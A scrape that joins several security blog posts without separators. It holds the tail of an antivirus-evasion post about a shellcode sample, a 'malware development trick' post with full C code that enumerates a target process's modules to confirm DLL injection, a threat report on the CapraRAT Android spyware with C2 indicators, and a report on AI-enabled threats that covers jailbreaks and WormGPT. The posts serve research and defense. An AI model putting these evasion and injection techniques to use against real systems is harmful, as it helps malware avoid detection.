av-evasion

Upload our sample hack.exe to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/3a62d7b78fb812dc3d9823a248c204fcc810dcbaedd38797e83424596d028261/detection

As you can see, only 23 of 72 AV engines detect our file as malicious

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

WAKE
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 36: Enumerate process modules. Simple C++ example.

25 September 2023 at 00:30

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

Let’s say we created successfully DLL injection to process. How to check if DLL in list of modules of our process?

hack

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, just use Module32First and Module32Next functions from Windows API.

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

As you can see, the code is a bit similar to the PID search logic with CreateToolHelp32Snapshot, Process32First and Process32Next.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of modules of the process. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/09/25/malware-tricks-36.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

You can use this code to check if a DLL is in the list of modules of the target process.

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

hack

Also, check with DLL injection logic:

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This trick is used by 4H RAT and Aria-body in the wild.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

Find process ID by name and inject to it
Find PID via NtGetNextProcess
4H RAT
Aria-body
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

CapraTube | Transparent Tribe’s CapraRAT Mimics YouTube to Hijack Android Phones

18 September 2023 at 13:00

Executive Summary

  • SentinelLabs identified three Android application packages (APK) linked to Transparent Tribe’s CapraRAT mobile remote access trojan (RAT).
  • These apps mimic the appearance of YouTube, though they are less fully featured than the legitimate native Android YouTube application.
  • CapraRAT is a highly invasive tool that gives the attacker control over much of the data on the Android devices that it infects.

Background

Transparent Tribe is a suspected Pakistani actor known for targeting military and diplomatic personnel in both India and Pakistan, with a more recent expansion to the Indian Education sector. Since 2018, reports have detailed the group’s use of what is now called CapraRAT, an Android framework that hides RAT features inside of another application. The toolset has been used for surveillance against spear-phishing targets privy to affairs involving the disputed region of Kashmir, as well as human rights activists working on matters related to Pakistan.

Transparent Tribe distributes Android apps outside of the Google Play Store, relying on self-run websites and social engineering to entice users to install a weaponized application. Earlier in 2023, the group distributed CapraRAT Android apps disguised as a dating service that conducted spyware activity.

One of the newly identified APKs reaches out to a YouTube channel belonging to Piya Sharma, which has several short clips of a woman in various locales. This APK also borrows the individual’s name and likeness. This theme suggests that the actor continues to use romance-based social engineering techniques to convince targets to install the applications, and that Piya Sharma is a related persona.

CapraRAT is a comprehensive RAT that provides the actors with the ability to harvest data on demand and exfiltrate it. Notable features include:

  • Recording with the microphone, front & rear cameras
  • Collecting SMS and multimedia message contents, call logs
  • Sending SMS messages, blocking incoming SMS
  • Initiating phone calls
  • Taking screen captures
  • Overriding system settings such as GPS & Network
  • Modifying files on the phone’s filesystem

App Analysis

CapraRAT is distributed as an Android APK. When the tool was initially named by Trend Micro, their research team noted that CapraRAT may be loosely based on the AndroRAT source code.

We performed static analysis on two YouTube-themed CapraRAT APKs: 8beab9e454b5283e892aeca6bca9afb608fa8718 – yt.apk, uploaded to VirusTotal in July 2023. 83412f9d757937f2719ebd7e5f509956ab43c3ce – YouTube_052647.apk, uploaded to VirusTotal in August 2023. We also identified a third APK called Piya Sharma, the YouTube channel persona described earlier: 14110facecceb016c694f04814b5e504dc6cde61 – Piya Sharma.apk, uploaded to VirusTotal in April 2023

The yt and YouTube APKs apps are disguised as YouTube, borrowing the YouTube icon.

Applications icons on an Android device, including YouTube_052647.apk
Applications icons on an Android device, including YouTube_052647.apk
Application icons, including the Piya Sharma app
Application icons, including the Piya Sharma app
YouTube_052647.apk displays the YouTube website when launched
YouTube_052647.apk displays the YouTube website when launched

The app requests several permissions. YouTube is an interesting choice for masquerading the app: some permissions, like microphone access, make sense for recording or search features. Other permissions–like the ability to send and view SMS–are less relevant to the expected app behaviors.


Permissions prompts during install of the weaponized YouTube app
Permissions prompts during install of the weaponized YouTube app

Installation permissions requested by the Piya Sharma APK
Installation permissions requested by the Piya Sharma APK

When the app is launched, MainActivity’s load_web method launches a WebView object to load YouTube’s website. Because this loads within the trojanized CapraRAT app’s window, the user experience is different from the native YouTube app for Android and akin to viewing the YouTube page in a mobile web browser.

Smali snippet of the load_web method in MainActivity
Smali snippet of the load_web method in MainActivity

Key Components

Because CapraRAT is a framework inserted into a variety of Android applications, the files housing malicious activity are often named and arranged differently depending on the app. The CapraRAT APKs we analyzed contain the following files:

Name yt.apk
Configuration com/media/gallery/service/settings
Version MSK-2023
Main com/media/gallery/service/MainActivity
Malicious Activity com/media/gallery/service/TPSClient
Name YouTube_052647.apk
Configuration com/Base/media/service/setting
Version A.F.U.3
Main com/Base/media/service/MainActivity
Malicious Activity com/Base/media/service/TCHPClient
Name Piya Sharma.apk
Configuration com/videos/watchs/share/setting
Version V.U.H.3
Main com/videos/watchs/share/MainActivity
Malicious Activity com/videos/watchs/share/TCPClient

CapraRAT’s configuration file, which is named interchangeably setting or settings, holds the default configuration information, as well as metadata like versioning. The CapraRAT version syntax seen in YouTube_052647.apk and Piya Sharma.apk–A.F.U.3 and V.U.H.3, respectively–matches the convention used to track Transparent Tribe’s Windows tool, CrimsonRAT. However, there is no tangible relationship between these version numbers and the C2 domains as we saw in CrimsonRAT.

Thanks to creative spelling and naming conventions, the RAT’s configuration provides consistent static detection opportunities, with each of the following present in the samples from earlier in 2023 as well:

 	is_phical
 	isCancl
 	isRealNotif
 	SERVERIP
 	smsMoniter
 	smsWhere
 	verion

MainActivity is responsible for driving the application’s key features. This activity sets persistence through the onCreate method which uses Autostarter, an open-source project with code that lets developers automatically launch an Android application. The TPSClient class is initialized as an object called mTCPService; then, this method calls the serviceRefresh method, which creates an alarm at the interval specified in the settings file’s timeForAlarm variable. In this example, the value 0xea60 is equal to 60,000 milliseconds, meaning the alarm and persistence launcher run once per minute.

The RAT’s core functionality is in an activity similar to the Extra_Class activity from the March 2023 samples reported by ESET. Henceforth, we call this activity TPSClient for simplicity. These files are rather large, decompiling to over 10,000 lines of Smali code. By comparison, the March versions’ equivalents have only about 8,000 lines.

TPSClient contains CapraRAT’s commands, which are invoked through the run method via a series of switch statements that map the string command to a related method.

The smsmons command logic inside the run method of TPSClient
The smsmons command logic inside the run method of TPSClient

Many of these commands have been documented in previous research, though there are several changes in these new versions. The hideApp method now checks if the system is running Android version 9 or earlier and if the mehiden variable in the setting(s) config file was set to False; if applicable, the app will be hidden from the user’s view. While similarities between CapraRAT and AndroRAT are seemingly minimal at this point in CapraRAT’s development, the AndroRAT source code documentation notes that the tool becomes unstable after Android version 9, so there are likely underlying changes to the OS that make this method behave differently depending on the OS version.

TPSClient has a method check_permissions() that is not in Extra_Class. This method checks the following series of Android permissions and generates a string with a True or False result for each:

  • READ_EXTERNAL_STORAGE
  • READ_CALL_LOG
  • CAMERA
  • READ_CONTACTS
  • ACCESS_FINE_LOCATION
  • RECORD_AUDIO
  • READ_PHONE_STATE

Interestingly, some other older versions contain this method, suggesting that the samples may be tailored for targets or are potentially developed from different branches.

C2 & Infrastructure

In CapraRAT’s configuration file, the SERVERIP variable contains the command-and-control (C2) server address, which can be a domain, IP address, or both. The C2 port is in hexadecimal Big Endian format; the human readable port can be obtained by converting into decimal, resulting in port 14862 for yt.apk, port 18892 for YouTube_052647.apk, and port 10284 for Piya Sharma.apk.

C2 configuration from yt.apk (left) and YouTube_052647.apk (right)
C2 configuration from yt.apk (left) and YouTube_052647.apk (right)

The shareboxs[.]net domain used by YouTube_052647.apk has been associated with Transparent Tribe since at least 2019. Interestingly, the ptzbubble[.]shop domain was registered the same week of ESET’s report outlining the group’s Android apps that leveraged other C2 domains.

The IP addresses associated with C2 from the two YouTube samples have Remote Desktop Protocol port 3389 open with the service identified as Windows Remote Desktop, indicating the group uses Windows Server infrastructure to host the CapraRAT C2 application. The Piya Sharma app’s C2 IP, 209[.]127.19.241, has a certificate with common name value WIN-P9NRMH5G6M8, a longstanding indicator associated with Transparent Tribe’s CrimsonRAT C2 servers.

84[.]46.251.145–the IP address hosting ptzbubble[.]shop domain–shows historical resolutions associated with Decoy Dog Pupy RAT DNS tunneling lookups. Any connection between these campaigns is unclear; it is plausible that a service hosted on this IP was infected by that campaign. Based on the query dates, the claudfront[.]net lookup was during the time the CapraRAT actor was using this IP address to host ptzbubble[.]shop, while a lookup to allowlisted[.]net was in December 2022, which was potentially before this actor started using the IP.

Resolution history for IP hosting ptzbubble[.]shop, 84[.]46.251.145
Resolution history for IP hosting ptzbubble[.]shop, 84[.]46.251.145

Conclusion

Transparent Tribe is a perennial actor with reliable habits. The relatively low operational security bar enables swift identification of their tools.

The group’s decision to make a YouTube-like app is a new addition to a known trend of the group weaponizing Android applications with spyware and distributing them to targets through social media.

Individuals and organizations connected to diplomatic, military, or activist matters in the India and Pakistan regions should evaluate defense against this actor and threat.

Defensive and preventative measures should include:

  • Do not install Android applications outside of the Google Play store.
  • Be wary of new social media applications advertised within social media communities.
  • Evaluate the permissions requested by an application, particularly an application you are not particularly familiar with. Do these permissions expose you to more risk than the potential benefit of the app?
  • Do not install a third-party version of an application already on your device.

CapraRAT malware is fully detected by SentinelOne’s Singularity Mobile solution.

Indicators of Compromise (IOC)

Files Hashes – SHA1
14110facecceb016c694f04814b5e504dc6cde61 – Piya Sharma APK
83412f9d757937f2719ebd7e5f509956ab43c3ce – CapraRAT, YouTube_052647.apk
8beab9e454b5283e892aeca6bca9afb608fa8718 – CapraRAT, yt.apk

C2 Network Communications
newsbizshow.net
ptzbubble.shop
shareboxs.net

95[.]111.247.73
209[.]127.19.241

Insights into the AI-based cyber threat landscape

5 September 2023 at 13:38

Executive summary

Both large language models (LLMs) and generative AI are undergoing a significant increase in their abilities and global utilization. While these tools offer undeniable utility to the general public, they also present potential risks of misuse. Furthermore, bad actors are also actively investigating tools like OpenAI’s ChatGPT. 

This document describes following aspects of an AI-based cyber threat landscape: 

  • How ChatGPT brand is misused for lures, scams, or other social engineering related threats 
  • How generative AI can be used to generate malware 
  • The potential pitfalls and changes it brings for security researchers and attackers 
  • How ChatGPT and generative AI can help security researchers in their daily struggles, providing insights, and bringing AI-based assistants to their toolset 

Generative AI and other forms of AI are going to play a key role in the cyber threat landscape. We expect that highly believable and multilingual texts misused for phishing and scams will be leveraged at scale, providing better opportunities for more advanced social engineering. 

On the other hand, we believe that generative AI as it stands now is unlikely to drastically alter the landscape of malware generation. Although many proofs of concept exist—mainly from security firms and nefarious actors testing the technology—it’s still a complex approach, especially when compared to existing, simpler methods. 

Despite the risks, it is important to recognize the value that generative AI brings to the table when used for legitimate purposes. We already see security and AI-based assistant tools with various levels of maturity and specialization emerging on the market.  

Given the rapid development of these tools and the widespread availability of open-source versions, we can reasonably anticipate a substantial improvement in their capabilities in the near future. 

This post can be also downloaded as a PDF here.

AI-generated lures and scams  

AI-generated lures and scams are having a moment. In the world of cybercriminals, AI now serves as the perfect use case for creating lures and carrying out phishing attempts and scams on victims. This is due to the fact that AI serves as a helping hand in writing various forms of texts–emails, social media content, e-shop reviews, SMS scams, and more. In general, AI also improves the credibility of social scams by providing trustworthy, authentic texts that eliminate the traditional phishing red flags, such as broken language and weird addressing. To our surprise, when we asked ChatGPT to make a lottery scam email more believable, it reduced the amount won, which can make the email slightly more believable.  

These threats, increasingly sophisticated and persistent, have begun to exploit advanced technologies, creating a new battlefield in the world of AI systems. In recent years, we’ve witnessed a number of societal issues and initiatives abused in a similar fashion—including (but not limited to) cryptocurrencies, Covid-19, and the war in Ukraine

In the case of ChatGPT, its popularity with hackers has less to do with their interest in AI than it does with the fact that ChatGPT has now become a household name. With the amount of attention ChatGPT receives these days, it would be surprising if attackers didn’t investigate how it can be used for their purposes. 

How is generative AI supporting the creation of lures and scams?

When examining the ChatGPT scams created by cybercriminals, it’s important to observe the language used in scams and how AI can support malware authors in creating more advanced texts than they’d otherwise be capable of writing. AI can easily improve grammatical mistakes, provide content in multiple languages, and create multiple variations of texts to improve their believability. 

ChatGPT can currently provide robust, well-written texts, but if an attacker wants to perform a sophisticated phishing attack, they’d need to insert the text into proper templates. This is because phishing attempts must appear to be credible and consist of more than just text. The attackers can choose from a plethora of existing phishing kits for sale where they obtain already functional and well-designed phishing webpages or emails. They can also use web archiving tools to create a copy of the web and change the appropriate URLs to phish the victims.  

For now, it’s necessary for attackers to build some aspects of their attempts manually and ChatGPT is not currently the ultimate “out of the box” solution for creating advanced malware. Users simply can’t ask for a copy of a website along with a code and styles to run it. That being said, we expect that multi-type models, allowing the combination of multiple LLM outputs, including images, audio, and video, will emerge in the near future. Furthermore, we can already see projects like LlamaIndex incorporating multiple sources of data, enhancing the capabilities even further. With that, we expect that multi-type LLMs will be able to create highly believable custom phishing and scam campaigns targeting a specific audience, including special offers, package deliveries, investment opportunities, scams during big events, and more. 

Malvertising

Malvertising—a portmanteau of “malicious advertising”—is a cybercrime tactic where malware is disseminated through online advertising. This technique cleverly exploits the extensive reach and interactive nature of digital ads to distribute harmful content. 

Unfortunately, attackers leverage ChatGPT’s name for these malicious vectors, with instances observed involving ads on popular platforms such as Facebook. For example, we have observed ads leading to articles and claiming massive income opportunities where all embedded links redirect to a fraudulent investment portal. 

People typically have to register or provide some kind of personal information. This serves as a first filter to lower the number of people who are not easily fooled by easy wins, get rich quick schemes, and so on. 

Once users provide their information, they become susceptible to a variety of malicious actions, such as identity theft, financial fraud, account takeovers, or being lured into further scams. The personal data collected can be misused or sold on the dark web, contributing to a broader ecosystem of cybercrime. Consequently, users who fall victim to malvertising may experience significant financial losses, compromised privacy, and emotional distress. 

The malvertising tactic is a good example of the ever-evolving strategies that cybercriminals employ to exploit trust and credibility. Recognizing such deceptive tactics is the first step towards mitigating the risks posed by these online threats. 

YouTube scams

YouTube, one of the world’s most popular online platforms, has not been spared from cybercrime. We have seen a significant increase in fake videos using prominent figures to trick users into harmful actions. What makes these scams especially insidious is their exploitation of trust, credibility, and human curiosity. 

The strategy often employed here is known as the “Appeal to authority” or “Argument from authority,” where cybercriminals use influential figures to supposedly validate the credibility of their message or investment opportunity. This manipulation can lead to the phishing of personal details, such as banking information, or directly coerce the victim into sending money to the attacker. 

In one particular instance, videos were created featuring Elon Musk to lure unsuspecting users. These videos often capitalize on Musk’s authority and influence in the tech and business world to legitimize the content. As we can see below, the motives of ChatGPT are often misused to lure users. 

The bad actors behind this case used a recording from an official stream discussing aspects of OpenAI and modified it to scam victims without the need of using voiceovers or deepfakes. At certain points in the video, a QR code is displayed that ostensibly offers access to exclusive content or rewards. In reality, this QR code redirects users to a scam page. These scam pages often take the form of cryptocurrency scams promising “easy” profits or elaborate phishing attempts that trick users into revealing sensitive information. 

The danger of these scams lies not only in the potential financial loss. Similarly to the malvertising, the theft of personal data can be used for further phishing attacks, account takeover, impersonation, or sold on the dark web

Although the use of AI was not necessary in this particular case, with increasing maturity of AI models like Midjourney, DALL-E or other purpose-built models we can only expect the use of artificially created fake images, videos, and audio, to increase over time both in quantity and quality. Tools like this can truly achieve remarkable results, even though they never actually happened. We are already seeing tools that allow users to quickly generate videos from a text script. It is still quite noticeable that the videos are not real, but that will become less visible in the future.

Typosquatting

Typosquatting usually involves minor changes in URLs to redirect users to a different website, potentially leading to phishing attacks. Furthermore, typosquatting is also used to encourage users to install applications that seem legitimate but aren’t. An Android app named “Open Chat GBT : AI Chat Bot”, which is shown in the screenshot below, is a prime example of this tactic. This subtle alteration can go unnoticed by users who aren’t paying close attention. 

Browser extensions

Following the introduction and surge in popularity of ChatGPT, we witnessed the emergence of myriad browser extensions. While there are a number of legitimate extensions that have gained popularity, other malicious versions have used that popularity to lure in victims. 

To trick unsuspecting users, attackers create an extension with an enticing title that contains or closely resembles ChatGPT. The attackers leverage this confusion to convince users that the browser extension is genuine when, in reality, it’s a malicious piece of software. These apps often disseminate adware or stealers/spyware, with some even tricking users into subscribing to services that periodically drain fees from the victim’s credit card (this is also known as fleeceware). 

One such case was documented by Guardio, where threat actors copied the design of a legitimate extension called “ChatGPT for Google”. The malicious version of the extension spread by these bad actors steals the Facebook sessions and cookies of its victims.

Image credit: Guardio 

Fortunately, in the case of this malicious extension copycat, Google removed it from the Chrome Web Store shortly after it was reported by Guardio. 

Installers and cracks

When trying to download a popular tool or application that you want to use, it’s not uncommon to come across installers that contain malware. These installers are designed to trick users into installing harmful software on their devices without even realizing it. They often appear to be legitimate installers, using the name and appearance of the real tool or application that you’re interested in. 

We can observe malicious installers like this misusing the name of ChatGPT that give users the promise to install and use ChatGPT on their device. One such example discovered by Meta’s engineering team is NodeStealer, malware that steals passwords and cookies from browsers. 

Cracks or unofficial versions of software can be risky, as it’s possible to hide malware inside them. Once installed, the malware may allow hackers to access your personal information, steal your passwords, or even take control of your computer. 

Fake updates

While browsing the web, users might come across an article that appears to be essential to read. But upon clicking the link, a page is displayed claiming that the browser is out of date and needs an update to show the content. One example is a SocGholish campaign where ChatGPT related articles are, among other topics, misused by attackers to lure people into downloading a browser update which is in fact typically a remote access trojan (RAT) giving the attacker complete control of the infected device. We see these pages often hosted on WordPress sites with vulnerable plugins or sites with weak admin credentials. 

AI as a tool for malicious purposes 

Recognizing AI-generated content is harder than you might think

Large language models (LLMs)—the AI tools that power tools like ChatGPT—have been creating a lot of buzz from their beginning. People have been amazed by their capabilities, and they’ve undeniably opened up a wide range of new possibilities. At the same time, LLMs have also brought some troubles. For example, schools have quickly needed to figure out how to approach these newly available tools while effectively communicating their pros and cons to students.  

As a result, the need for a tool able to recognize AI-generated content emerged. We have analyzed a couple of projects that claim to be able to identify such content. Some of them have good results on basic prompts, but each one of them fails once any type of change is introduced. More specifically, generated text that was properly detected as 100% AI-generated was suddenly 100% human once ChatGPT was asked to introduce a couple of mistakes.  

When it comes to detecting AI-generated code or even binaries compiled from AI-generated sources, the problem becomes even trickier. Similar to detecting more traditional malware, this is yet another never-ending cat and mouse game between AI generators and detectors: Once the first detectors started popping up, new generators were created to avoid them. 

LLMs and malware 

Time and time again, it has been proven that LLMs can be used to generate malicious code. However, it should be noted that while LLMs can significantly simplify the process, some degree of understanding of the malware development process is required to get the desired output. There are also many available malware builders, obfuscators, and packers that make the LLM approach more cumbersome as they provide a tailored solution designed to create malware in such a way there is no active protection from malicious inputs. 

Our team tested LLMs to generate simple malicious portions of code for testing our products, and in doing so, we’ve put together some key takeaways:

1. Proof of recognizing AI-generated content is hard, and protection techniques (such as packing and obfuscation) makes it even harder

As mentioned above, the cat and mouse game between AI generators and detectors continues to play out. Since AI vendors continuously improve their models, detection models can become obsolete quite quickly.  

It is important to mention that LLMs don’t change the behavior of code, just how the code was created. So far, we haven’t seen LLMs come up with a novel, previously unseen technique to infect machines. It can only use an arsenal of already known techniques.

2. Malware authors need to figure out much more than just source code

They need to verify the proper functionality of the code, testing environments, obfuscation, distribution methods, and the infrastructure of the vector. What’s more, they’re responsible for preventing takedowns–at the end of the day, it’s cybercriminals’ intent to have the threat working for the longest possible period of time.  

Testing of the generated code is important as our attempts showed a rather high amount of cases where the code didn’t work as intended on the first go and these errors can be hard to notice at first glance. 

The task of covering their tracks must also be included in a hackers’ scope of responsibility. This often amounts to money laundering, anonymization, and generally operational security.

3. Creating malware still requires a fair amount of technical knowledge

When it comes to creating prompts for LLM malware, the prompts themselves need to be quite precise–technical knowledge of how to write the code is still needed, although non-sophisticated components can be more straightforward to write. Many real-world examples only showcase short snippets of the malware creation process due to restrictions in both the prompt length as well as the security filters implemented in the LLM systems to avoid misuse for malicious purposes. Because of this, it can still be difficult to make a functional, more complex codebase. As an interesting consequence a whole new type of job has emerged where creating prompts for the model is the primary activity. 

It’s necessary for the attacker to test the results, tweak the queries, and know what the ideal (malicious) solution should look like. It is important to recognize that the attacker must possess knowledge of AV protections, anti-sandbox and anti-debugging tricks, as well as obfuscation techniques to overcome security measures. For these reasons, LLM malware isn’t the top choice for exercising the creativity required to write these kinds of malicious code. 

Spambots, social media, and fake reviews 

The rise of AI technology has inadvertently led to an evolution in spam tactics. Spambots have been observed exploiting OpenAI’s ChatGPT system, which has a filtering mechanism designed to avoid generating offensive or inappropriate responses. 

Instead of generating a substantive response, ChatGPT returns an error message when asked to generate inappropriate content, such as: “As an AI language model, I cannot generate inappropriate or offensive content,” or “I’m sorry, I cannot generate inappropriate or offensive content.” 

In many cases, spambots and fake social media bot accounts inadvertently publish these error messages. This is because spambots (both their algorithms and the people behind them) don’t validate output from ChatGPT—instead, they use the response from ChatGPT directly, resulting in self-incrimination of the bot as these messages can be used as a telltale sign of spambot activity.

Image credit: Twitter 

Interestingly, we have also noticed spambots manipulating user reviews. Some entities copy a response directly from ChatGPT in an attempt to gain positive feedback or inflate product ratings. This highlights the evolving sophistication of spam strategies and the importance of maintaining vigilance in digital interactions.

Image credit: VICE 

Spambots try to systematically flood product listings with deceptive reviews that exaggerate positive aspects, artificially inflate ratings, and create a false perception of popularity and quality. Users rely heavily on reviews to make informed buying choices, and when manipulated by spambots, they may unknowingly purchase subpar products based on misleading information. 

Each of these examples goes to show that ChatGPT is consistently being used for malicious purposes. The quality of the ChatGPT textual outputs as well as its capability to generate many different wordings will make the detection of fake reviews harder for both the e-shops as well as humans. 

Generating other inappropriate results 

ChatGPT has a filtering system in place, but bad actors are still able to find ways around this in order to generate content for malicious purposes. Although it’s possible to get around the tool’s safeguards, this proves to be a timely task for hackers, who can save time simply by searching for queries using a traditional search engine. After all, there is a lot of “educational-use-only” malware on GitHub anyways.

It is possible that tools able to bypass the security filters, which is also called “jailbreaking”, will make the use of ChatGPT for malicious purposes more convenient. We can already see efforts like WormGPT, which is based on open-source LLM models and trained with malware in mind. Unlike other AI models that have implemented restrictions to combat abuse, WormGPT operates without ethical boundaries, making it more accessible even to novice cybercriminals.

Deepfake

Deepfakes are a concerning and emerging form of technology that can pose serious threats to individuals and society as a whole. As a direct application of AI for malicious purposes, these convincing and highly realistic videos can make it seem like someone said or did something they never actually did. This is done by changing and manipulating the appearance and voice of the individual using AI. 

Deepfakes can have far-reaching consequences, leading to public outrage, damaged reputations, and even social or political instability. Moreover, deepfakes can be used for identity theft or fraud, as scammers can create videos or images that look like someone you know, tricking you into sharing sensitive information or inadvertently sending money to the attacker. 

An example of this was the case of the deepfake video depicting Ukrainian President Volodymyr Zelenskyy that appeared online not long after the onset of the war in Ukraine. This was a highly politically motivated deepfake that surfaced on various social media platforms. 

We’ve also observed attempts to use deepfakes as defense arguments. In this case, a lawsuit was filed against Tesla by a car accident victim’s family who claimed that Tesla’s automated driving software failed, while Tesla supposedly argued that the driver ignored warnings and was playing a video game while driving. The family’s attorneys aimed to depose Musk about his recorded statements from 2016, but Tesla opposed the request by suggesting the Musk statements were deepfakes and that, as a result, he can’t be held responsible. 

In the wild

While LLMs offer immense assistance to individuals seeking help with their everyday struggles, the same goes for the bad actors. Despite the safeguards put in place, we can already see attempts to create proof of concepts using a specific set of prompts, experimenting with the tools to create malware. 

In multiple examples, Check Point Research provides evidence that threat actors are investigating the use of ChatGPT for creating malware. For instance, a user on an underground hacking forum shared his efforts to create a functional information stealer, as well as claiming they were successful with creating multiple strains and techniques from publicly available write-ups. In another attempts, Check Point Research tried to prompt ChatGPT themselves to generate snippets of code which could be used in malware. 

Kaspersky, on the other hand, chose a different approach when they used ChatGPT to try to identify phishing based on a URL. Although the LLMs are not mature enough to do this yet, it shows the potential of the technology. With additional training and finetuning, it could become a viable detection method. 

The attackers don’t hesitate to try new tools and they will thoroughly test LLMs capabilities, including ChatGPT or other emerging models like WormGPT, in attempts to generate code (and text) for malicious purposes. Even though possible, the process of generating malware is still cumbersome and other development methods, like copying code directly from Github or StackOverflow, are still more straightforward and easier. 

We experimented with generative AI in our testing environment, aiming to simulate behaviors usually associated with malware. However, we faced similar challenges in the process. Many of our attempts led to a high error rate in the generated code, which demanded expertise in identifying and resolving these errors. Additionally, when a prompt that could potentially be perceived as suspicious was introduced, the security filter was triggered, essentially blocking further prompts. This necessitated initiating an entirely new chat, which significantly reduced the convenience of the overall experience. 

We agree that ChatGPT can save time while producing simpler techniques for the testing environment. It could be utilized by a skilled person to produce better results with the right prompts, but we also expect this person to be well-funded in the field, using obfuscation and other protection techniques anyway. 

At this point, less savvy users will likely get frustrated in their attempts to generate malware, resulting in copying codes from Github and StackOverflow anyway, always walking the simplest path. However, when tools without security filtering and restrictions occur, like WormGPT, this might change rather quickly. 

How ChatGPT can serve as a tool for helping researchers 

While we’ve explained how LLMs can be used for malicious purposes, they can also be used for good and to support researchers in their work. When using the services of AI tools, it’s important to verify the output and ensure that you’re not using any internal company data. After all, anything that is entered into an AI tool can be used for further training and potentially lead to a leak. Having a third-party agreement or NDA can help combat this risk, but this is definitely not the case with a public service like ChatGPT nor any other tool that is offered for free. 

Supporting analysts in understanding and writing detections 

Security analysts can use ChatGPT to prepare detection rules for them or, alternatively, to explain the existing rules when they’re in doubt about what exactly it is what they do. 

Detection languages that allow researchers to detect patterns (for example, in malware or its behavior), including Yara, Suricata, or Sigma, don’t reach the analyst-quality level of rules when created by LLMs. For junior analysts, however, the provided template can be useful–they can take it as a starting point and improve the detections from that baseline. 

